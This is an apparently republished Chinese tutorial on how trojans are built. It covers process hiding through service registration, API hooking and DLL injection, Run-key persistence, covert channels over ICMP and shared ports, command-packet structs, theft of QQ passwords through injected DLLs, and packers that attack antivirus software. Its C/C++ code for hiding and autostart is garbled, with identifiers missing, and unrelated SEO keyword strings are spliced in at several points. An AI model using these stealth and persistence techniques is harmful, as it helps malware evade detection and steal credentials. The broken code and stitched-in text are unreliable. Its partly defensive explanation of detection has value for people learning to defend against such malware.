整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

木马程序开发技术:病毒源代码详解

近年来,黑客技术不断成熟起来,对网络安全造成了极大的威胁,黑客的主要攻击手段之一,就是使用木马技术,渗透到对方的主机系统里,从而实现对远程操作目标主机。 其破坏力之大,是绝不容忽视的,黑客到底是如何制造了这种种具有破坏力的木马程序呢,下面我对木马进行源代码级的详细的分析,让我们对木马的开发技术做一次彻底的透视,从了解木马技术开始,更加安全的管理好自己的计算机。

1、木马程序的分类

木马程序技术发展至今,已经经历了4代,第一代,即是简单的密码窃取,发送等,没有什么特别之处。第二代木马,在技术上有了很大的进步,冰河可以说为是国内木马的典型代表之一。第三代木马在数据传递技术上,又做了不小的改进,出现了ICMP等类型的木马,利用畸形报文传递数据,增加了查杀的难度。第四代木马在进程隐藏方面,做了大的改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入DLL线程。或者挂接PSAPI,实现木马程序的隐藏,甚至在Windows NT/2000下,都达到了良好的隐藏效果。相信,第五代木马很快也会被编制出来。关于更详细的说明,可以参考ShotGun的文章《揭开木马的神秘面纱》。

2.木马程序的隐藏技术

木马程序的服务器端,为了避免被发现,多数都要进行隐藏处理,下面让我们来看看木马是如何实现隐藏的。

说到隐藏,首先得先了解三个相关的概念:进程,线程和服务。我简单的解释一下。

进程:一个正常的Windows应用程序,在运行之后,都会在系统之中产生一个进程,同时,每个进程,分别对应了一个不同的PID( ID, 进程标识符)这个进程会被系统分配一个虚拟的内存空间地址段,一切相关的程序操作,都会在这个虚拟的空间中进行。

线程:一个进程,可以存在一个或多个线程,线程之间同步执行多种操作,一般地,线程之间是相互独立的,当一个线程发生错误的时候,并不一定会导致整个进程的崩溃。

服务:一个进程当以服务的方式工作的时候,它将会在后台工作,不会出现在任务列表中,但是,在Windows NT/2000下,你仍然可以通过服务管理器检查任何的服务程序是否被启动运行。

想要隐藏木马的服务器端,可以伪隐藏,也可以是真隐藏。伪隐藏,就是指程序的进程仍然存在,只不过是让他消失在进程列表里。真隐藏则是让程序彻底的消失,不以一个进程或者服务的方式工作。

伪隐藏的方法,是比较容易实现的,只要把木马服务器端的程序注册为一个服务就可以了,这样,程序就会从任务列表中消失了,因为系统不认为他是一个进程,当按下Ctrl+Alt+Delete的时候,也就看不到这个程序。但是,这种方法只适用于的系统,对于Windows NT,Windows 2000等,通过服务管理器,一样会发现你在系统中注册过的服务。难道伪隐藏的方法就真的不能用在Windows NT/2000下了吗?当然还有办法,那就是API的拦截技术,通过建立一个后台的系统钩子,拦截PSAPI的等相关的函数来实现对进程和服务的遍历调用的控制,当检测到进程ID(PID)为木马程序的服务器端进程的时候直接跳过,这样就实现了进程的隐藏,金山词霸等软件,就是使用了类似的方法,拦截了,函数,来截获屏幕输出,实现即时翻译的。同样,这种方法也可以用在进程隐藏上。

当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备一般进程,也不应该具备服务的,也就是说,完全的溶进了系统的内核。也许你会觉得奇怪,刚刚不是说一个应用程序运行之后,一定会产生一个进程吗?的确,所以我们可以不把他做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加。

出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅ShotGun的文章《NT系统下木马进程的隐藏与检测》。

WINAPI WinMain(, , LPSTR, int)

try

DWORD = ();//取得Windows的版本号

if ( >= ) // Windows 9x隐藏任务列表

int ( *rsp)(DWORD,DWORD);

dll=(".DLL");//装入.DLL

rsp=(int( *)(DWORD,DWORD))(dll,"ss");//找到ss的入口

rsp(NULL,1);//注册服务

(dll);//释放DLL模块

catch ( &)//处理异常事件

//处理异常事件

return 0;

3、程序的自加载运行技术

让程序自运行的方法比较多,除了最常见的方法:加载程序到启动组,写程序启动路径到注册表的///Windows//Run的方法外,还有很多其他的办法,据yagami讲,还有几十种方法之多,比如可以修改Boot.ini,或者通过注册表里的输入法键值直接挂接启动,通过修改.exe启动参数等等的方法,真的可以说是防不胜防,下面展示一段通过修改///Windows//Run键值来实现自启动的程序:

自装载部分:

HKEY hkey;

=(sys)+("+PName/">//")+PName

long k;

k=KEY;

(,

"////WINDOWS////RUN//",

0L,

NULL,

ILE,|,

NULL,

&hkey,&k);

(hkey,

"",

0,

REG_SZ,

.c_str(),

.Length());

(hkey);

if (int((Handle,

"open",

.c_str(),

NULL,

NULL,

SW_HIDE))>32)

=true;

Close();

else

HKEY hkey;

long k;

k=KEY;

long a=(,

"////WINDOWS////RUN",

0,

NULL,

ILE,

,NULL,

&hkey,&k);

(hkey,

"",

0,

REG_SZ,

.c_str(),

.Length());

int num=0;

char str[20];

DWORD lth=20;

DWORD type;

char strv[255];

DWORD vl=254;

DWORD Suc;

do{

Suc=(,

(DWORD)num,str,

NULL,

&type,

strv,&vl);

if (strcmp(str,"BGroup")==0)

((strv));

(,"BGroup");

break;

}while(Suc== );

(hkey);

自装载程序的卸载代码:

int num;

char str2[20];

进程隐藏器_隐藏特定类型文件_进程隐藏对特定程序显示工具

DWORD lth=20;

DWORD type;

char strv[255];

DWORD vl=254;

DWORD Suc;

do{

Suc=(,

(DWORD)num,

str,

NULL,

&type,

strv,

&vl);

if (strcmp(str,"BGroup")==0)

((strv));

(,"BGroup");

break;

}while(Suc== )

HKEY hkey;

long k;

k=KEY;

(,

"////WINDOWS////RUN",

0,

NULL,

ILE,

,NULL,

&hkey,

&k);

do{

Suc=(hkey,(DWORD)num,str,if (strcmp(str,"")==0)

((strv));

(,"");

break;

}while(Suc== )

(hkey);

其中自装载部分使用C++ Builder可以这样写,会比较简化:

& regKey = *new ();

regKey.RootKey=;

regKey.OpenKey("////Windows////Run",true);

if(!regKey.(" Server"))

regKey.(" Server",

"D://Program Files//Borland////BIN//.exe");

regKey.();

delete ®Key;

4、木马程序的建立连接的隐藏

木马程序的数据传递方法有很多种,其中最常见的要属TCP,UDP传输数据的方法了,通常是利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进行数据的传递,但是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令行状态下使用netstat命令,就可以查看到当前的活动TCP,UDP连接。

C:/ and /bigball>netstat -n

Active

Proto Local Address Foreign Address State

TCP 192.0.0.9:1032 64.4.13.48:1863

TCP 192.0.0.9:1112 61.141.212.95:80

TCP 192.0.0.9:1135 202.130.239.223:80

TCP 192.0.0.9:1142 202.130.239.223:80

TCP 192.0.0.9:1162 192.0.0.8:139

TCP 192.0.0.9:1169 202.130.239.159:80

TCP 192.0.0.9:1170 202.130.239.133:80

C:/ and /bigball>netstat -a

Active

Proto Local Address Foreign Address State

TCP Liumy:echo Liumy:0

TCP Liumy:discard Liumy:0

TCP Liumy:daytime Liumy:0

TCP Liumy:qotd Liumy:0

TCP Liumy:chargen Liumy:0

TCP Liumy:epmap Liumy:0

TCP Liumy:-ds Liumy:0

TCP Liumy:1025 Liumy:0

TCP Liumy:1026 Liumy:0

TCP Liumy:1031 Liumy:0

TCP Liumy:1032 Liumy:0

TCP Liumy:1112 Liumy:0

TCP Liumy:1135 Liumy:0

TCP Liumy:1142 Liumy:0

TCP Liumy:1801 Liumy:0

TCP Liumy:3372 Liumy:0

TCP Liumy:3389 Liumy:0

TCP Liumy:netbios-ssn Liumy:0

TCP Liumy:1028 Liumy:0

TCP Liumy:1032 :1863 ESTAB

TCP Liumy:1112 :http ESTABLI

TCP Liumy:1135 202.130.239.223:http

TCP Liumy:1142 202.130.239.223:http

TCP Liumy:1162 W3I:netbios-ssn

TCP Liumy:1170 202.130.239.133:http

TCP Liumy:2103 Liumy:0

TCP Liumy:2105 Liumy:0

TCP Liumy:2107 Liumy:0

UDP Liumy:echo *:*

UDP Liumy:discard *:*

UDP Liumy:daytime *:*

UDP Liumy:qotd *:*

隐藏特定类型文件_进程隐藏对特定程序显示工具_进程隐藏器

UDP Liumy:chargen *:*

UDP Liumy:epmap *:*

UDP Liumy:snmp *:*

UDP Liumy:-ds *:*

UDP Liumy:1027 *:*

UDP Liumy:1029 *:*

UDP Liumy:3527 *:*

UDP Liumy:4000 *:*

UDP Liumy:4001 *:*

UDP Liumy:1033 *:*

UDP Liumy:1148 *:*

UDP Liumy:netbios-ns *:*

UDP Liumy:netbios-dgm *:*

UDP Liumy:isakmp *:*

但是,黑客还是用种种手段躲避了这种侦察,就我所知的方法大概有两种,一种是合并端口法,也就是说,使用特殊的手段,在一个端口上同时绑定两个TCP或者UDP连接,这听起来不可思议,但事实上确实如此,而且已经出现了使用类似方法的程序,通过把自己的木马端口绑定于特定的服务端口之上,(比如80端口的HTTP,谁怀疑他会是木马程序呢?)从而达到隐藏端口的目地。另外一种办法,是使用ICMP( Control Message )协议进行数据的发送,原理是修改ICMP头的构造,加入木马的控制字段,这样的木马,具备很多新的特点,不占用端口的特点,使用户难以发觉,同时,使用ICMP可以穿透一些防火墙,从而增加了防范的难度。之所以具有这种特点,是因为ICMP不同于TCP,UDP,ICMP工作于网络的应用层不使用TCP协议。关于网络层次的结构,下面给出图示:

进程隐藏对特定程序显示工具_隐藏特定类型文件_进程隐藏器

网络层次结构图

5、发送数据的组织方法

关于数据的组织方法,可以说是数学上的问题。关键在于传递数据的可靠性,压缩性,以及高效行。木马程序,为了避免被发现,必须很好的控制数据传输量,一个编制较好的木马,往往有自己的一套传输协议,那么程序上,到底是如何组织实现的呢?下面,我举例包装一些协议:

typedef struct{ //定义消息结构

//char ip[20];

char Type; //消息种类

char [20]; //密码

int CNum; //消息操作号

//int Length; //消息长度

}Msg;

#define MsgLen sizeof(Msg)

//-------------------------------------------

//对话框数据包定义:.h

//-------------------------------------------

//定义如下消息类型:

#define 4//连接事件

#define 5//发送完成事件

//消息结构

typedef struct{

char Name[20];//对话框标题

char Msg[256];//对话框消息内容

};

#define sizeof()//消息单元长度

//------------------------------------------

//聊天数据包定义:.h

//------------------------------------------

//定义如下消息类型:

#define 0//连接事件

#define 1//接入事件

#define 2//结束事件

#define 16//确认对话内容收到

//消息结构

typedef struct{

char [20];//Client自定义的名称

char Msg[256];//发送的消息

};

#define sizeof()//消息单元长度

//------------------------------------------

//重启数据包定义:.h

//------------------------------------------

//定义如下消息类型:

#define 15//重启事件

//------------------------------------------

//目录结构请求数据包定义:.h

//------------------------------------------

//定义如下消息类型:

#define 17

#define 18

typedef struct{

char Dir[4096];//你要的目录名

};

#define sizeof()

// TCP的Msg

typedef struct{ //定义消息结构

char SType; //消息种类

char [20]; //密码

//int SNum; //消息操作号

char *AllMsg;

}SMsg;

#define SMsgLen sizeof(SMsg)

#define 19

#define 21

#define 22

#define 23

#define 24

#define 25//tcp接收消息,udp请求消息

#define 26

//-------------------------

//鼠标指针隐藏和显示控制

//-------------------------

#define 27//设置消息

#define 28//成功消息

typedef struct{

bool ;

};

#define en sizeof()

黑客知识系列之木马程序隐身的技术

最基本的隐藏:不可见窗体+隐藏文件

木马程序无论如何神秘,但归根究底,仍是Win32平台下的一种程序。Windows下常见的程序有两种:

1.Win32应用程序(Win32 ),比如QQ、Office等都属于此行列。

2.Win32控制台程序(Win32 Console),比如硬盘引导修复程序FixMBR。

其中,Win32应用程序通常会有应用程序界面,比如系统中自带的“计算器”就有提供各种数字按钮的应用程序界面。木马虽然属于Win32应用程序,但其一般不包含窗体或隐藏了窗体(但也有某些特殊情况,如木马使用者与被害者聊天的窗口),并且将木马文件属性设置为“隐藏”,这就是最基本的隐藏手段,稍有经验的用户只需打开“任务管理器”,并且将“文件夹选项”中的“显示所有文件”勾选即可轻松找出木马,于是便出现了下面要介绍的“进程隐藏”技术。

第一代进程隐藏技术:Windows 98的后门

在Windows 98中,微软提供了一种能将进程注册为服务进程的方法。尽管微软没有公开提供这种方法的技术实现细节(因为Windows的后续版本中没有提供这个机制),但仍有高手发现了这个秘密,这种技术称为ss。只要利用此方法,任何程序的进程都能将自己注册为服务进程,而服务进程在Windows 98中的任务管理器中恰巧又是不显示的,所以便被木马程序钻了空子。

要对付这种隐藏的木马还算简单,只需使用其他第三方进程管理工具即可找到其所在,并且采用此技术进行隐藏的木马在Windows 2000/XP(因为不支持这种隐藏方法)中就得现形!中止该进程后将木马文件删除即可。可是接下来的第二代进程隐藏技术,就没有这么简单对付了。

第二代进程隐藏技术:进程插入

在Windows中,每个进程都有自己的私有内存地址空间,当使用指针(一种访问内存的机制)访问内存时,一个进程无法访问另一个进程的内存地址空间,就好比在未经邻居同意的情况下,你无法进入邻居家吃饭一样。比如QQ在内存中存放了一张图片的数据,而MSN则无法通过直接读取内存的方式来获得该图片的数据。这样做同时也保证了程序的稳定性,如果你的进程存在一个错误,改写了一个随机地址上的内存,这个错误不会影响另一个进程使用的内存。

你知道吗——进程(Process)是什么

对应用程序来说,进程就像一个大容器。在应用程序被运行后,就相当于将应用程序装进容器里了,你可以往容器里加其他东西(如:应用程序在运行时所需的变量数据、需要引用的DLL文件等),当应用程序被运行两次时,容器里的东西并不会被倒掉,系统会找一个新的进程容器来容纳它。

一个进程可以包含若干线程(Thread),线程可以帮助应用程序同时做几件事(比如一个线程向磁盘写入文件,另一个则接收用户的按键操作并及时做出反应,互相不干扰),在程序被运行后中,系统首先要做的就是为该程序进程建立一个默认线程,然后程序可以根据需要自行添加或删除相关的线程。

1.进程插入是什么

进程隐藏器_特定隐藏进程工具程序显示不全_进程隐藏对特定程序显示工具

独立的地址空间对于编程人员和用户来说都是非常有利的。对于编程人员来说,系统更容易捕获随意的内存读取和写入操作。对于用户来说,操作系统将变得更加健壮,因为一个应用程序无法破坏另一个进程或操作系统的运行。当然,操作系统的这个健壮特性是要付出代价的,因为要编写能够与其他进程进行通信,或者能够对其他进程进行操作的应用程序将要困难得多。但仍有很多种方法可以打破进程的界限,访问另一个进程的地址空间,那就是“进程插入”(Process )。一旦木马的DLL插入了另一个进程的地址空间后,就可以对另一个进程为所欲为,比如下文要介绍的盗QQ密码。

2.木马是如何盗走QQ密码的

普通情况下,一个应用程序所接收的键盘、鼠标操作,别的应用程序是无权“过问”的。可盗号木马是怎么偷偷记录下我的密码的呢?木马首先将1个DLL文件插入到QQ的进程中并成为QQ进程中的一个线程,这样该木马DLL就赫然成为了QQ的一部分!然后在用户输入密码时,因为此时木马DLL已经进入QQ进程内部,所以也就能够接收到用户传递给QQ的密码键入了,真是“家贼难防”啊!

3.如何插入进程

(1)使用注册表插入DLL

早期的进程插入式木马的伎俩,通过修改注册表中的[///Windows NT//Windows/]来达到插入进程的目的。缺点是不实时,修改注册表后需要重新启动才能完成进程插入。

(2)使用挂钩(Hook)插入DLL

比较高级和隐蔽的方式,通过系统的挂钩机制(即“Hook”,类似于DOS时代的“中断”)来插入进程(一些盗QQ木马、键盘记录木马以Hook方式插入到其他进程中“偷鸡摸狗”),需要调用函数(也是一个Win32 API函数)。缺点是技术门槛较高,程序调试困难,这种木马的制作者必须具有相当的Win32编程水平。

你知道吗——什么是API

Windows中提供各种功能实现的接口称为Win32 API( ,即“应用程序编程接口”),如一些程序需要对磁盘上的文件进行读写,就要先通过对相应的API(文件读写就要调用文件相关的API)发出调用请求,然后API根据程序在调用其函数时提供的参数(如读写文件就需要同时给出需要读写的文件的文件名及路径)来完成请求实现的功能,最后将调用结果(如写入文件成功,或读取文件失败等)返回给程序。

(3)使用远程线程函数()插入DLL

在Windows 2000及以上的系统中提供了这个“远程进程”机制,可以通过一个系统API函数来向另一个进程中创建线程(插入DLL)。缺点很明显,仅支持Windows 2000及以上系统,在国内仍有相当多用户在使用Windows 98,所以采用这种进程插入方式的木马缺乏平台通用性。

木马将自身作为DLL插入别的进程空间后,用查看进程的方式就无法找出木马的踪迹了,你能看到的仅仅是一些正常程序的进程,但木马却已经偷偷潜入其中了。解决的方法是使用支持“进程模块查看”的进程管理工具(如“Windows优化大师”提供的进程查看),木马的DLL模块就会现形了。

进程隐藏对特定程序显示工具_特定隐藏进程工具程序显示不全_进程隐藏器

不要相信自己的眼睛:恐怖的进程“蒸发”

严格地来讲,这应该算是第2.5代的进程隐藏技术了,可是它却比前几种技术更为可怕得多。这种技术使得木马不必将自己插入到其他进程中,而可以直接消失!

它通过Hook技术对系统中所有程序的进程检测相关API的调用进行了监控,“任务管理器”之所以能够显示出系统中所有的进程,也是因为其调用了等进程相关的API函数,进程信息都包含在该函数的返回结果中,由发出调用请求的程序接收返回结果并进行处理(如“任务管理器”在接收到结果后就在进程列表中显示出来)。

而木马由于事先对该API函数进行了Hook,所以在“任务管理器”(或其他调用了列举进程函数的程序)调用函数时(此时的API函数充当了“内线”的角色),木马便得到了通知,并且在函数将结果(列出所有进程)返回给程序前,就已将自身的进程信息从返回结果中抹去了。就好比你正在看电视节目,却有人不知不觉中将电视接上了DVD,你在不知不觉中就被欺骗了。

所以无论是“任务管理器”还是杀毒软件,想对这种木马的进程进行检测都是徒劳的。这种木马目前没有非常有效的查杀手段,只有在其运行前由杀毒软件检测到木马文件并阻止其病毒体的运行。当时还有一种技术是由木马程序将其自身的进程信息从Windows系统用以记录进程信息的“进程链表”中删除,这样进程管理工具就无法从“进程链表”中获得木马的进程信息了。但由于缺乏平台通用性而且在程序运行时有一些问题,所以没有被广泛采用。

你知道吗——什么是Hook

Hook是Windows中提供的一种用以替换DOS下“中断”的一种系统机制,中文译名为“挂钩”或“钩子”。在对特定的系统事件(包括上文中的特定API函数的调用事件)进行Hook后,一旦发生已Hook的事件,对该事件进行Hook的程序(如:木马)就会收到系统的通知,这时程序就能在第一时间对该事件做出响应(木马程序便抢在函数返回前对结果进行了修改)。

毫无踪迹:全方位立体隐藏

利用刚才介绍的Hook隐藏进程的手段,木马可以轻而易举地实现文件的隐藏,只需将Hook技术应用在文件相关的API函数上即可,这样无论是“资源管理器”还是杀毒软件都无法找出木马所在了。更令人吃惊的是,现在已经有木马(如:灰鸽子)利用该技术实现了文件和进程的隐藏。要防止这种木马最好的手段仍是利用杀毒软件在其运行前进行拦截。

跟杀毒软件对着干:反杀毒软件外壳

木马再狡猾,可是一旦被杀毒软件定义了特征码,在运行前就被拦截了。要躲过杀毒软件的追杀,很多木马就被加了壳,相当于给木马穿了件衣服,这样杀毒软件就认不出来了,但有部分杀毒软件会尝试对常用壳进行脱壳,然后再查杀(小样,别以为穿上件马夹我就不认识你了)。除了被动的隐藏外,最近还发现了能够主动和杀毒软件对着干的壳,木马在加了这种壳之后,一旦运行,则外壳先得到程序控制权,由其通过各种手段对系统中安装的杀毒软件进行破坏,最后在确认安全(杀毒软件的保护已被瓦解)后由壳释放包裹在自己“体内”的木马体并执行之。对付这种木马的方法是使用具有脱壳能力的杀毒软件对系统进行保护。

你知道吗——什么是壳

顾名思义,你可以很轻易地猜到,这是一种包在外面的东西。没错,壳能够将文件(比如EXE)包住,然后在文件被运行时,首先由壳获得控制权,然后释放并运行包裹着的文件体。很多壳能对自己包住的文件体进行加密,这样就可以防止杀毒软件的查杀。比如原先杀毒软件定义的该木马的特征是“12345”,如果发现某文件中含有这个特征,就认为该文件是木马,而带有加密功能的壳则会对文件体进行加密(如:原先的特征是“12345”,加密后变成了“54321”,这样杀毒软件当然不能靠文件特征进行检查了)。脱壳指的就是将文件外边的壳去除,恢复文件没有加壳前的状态。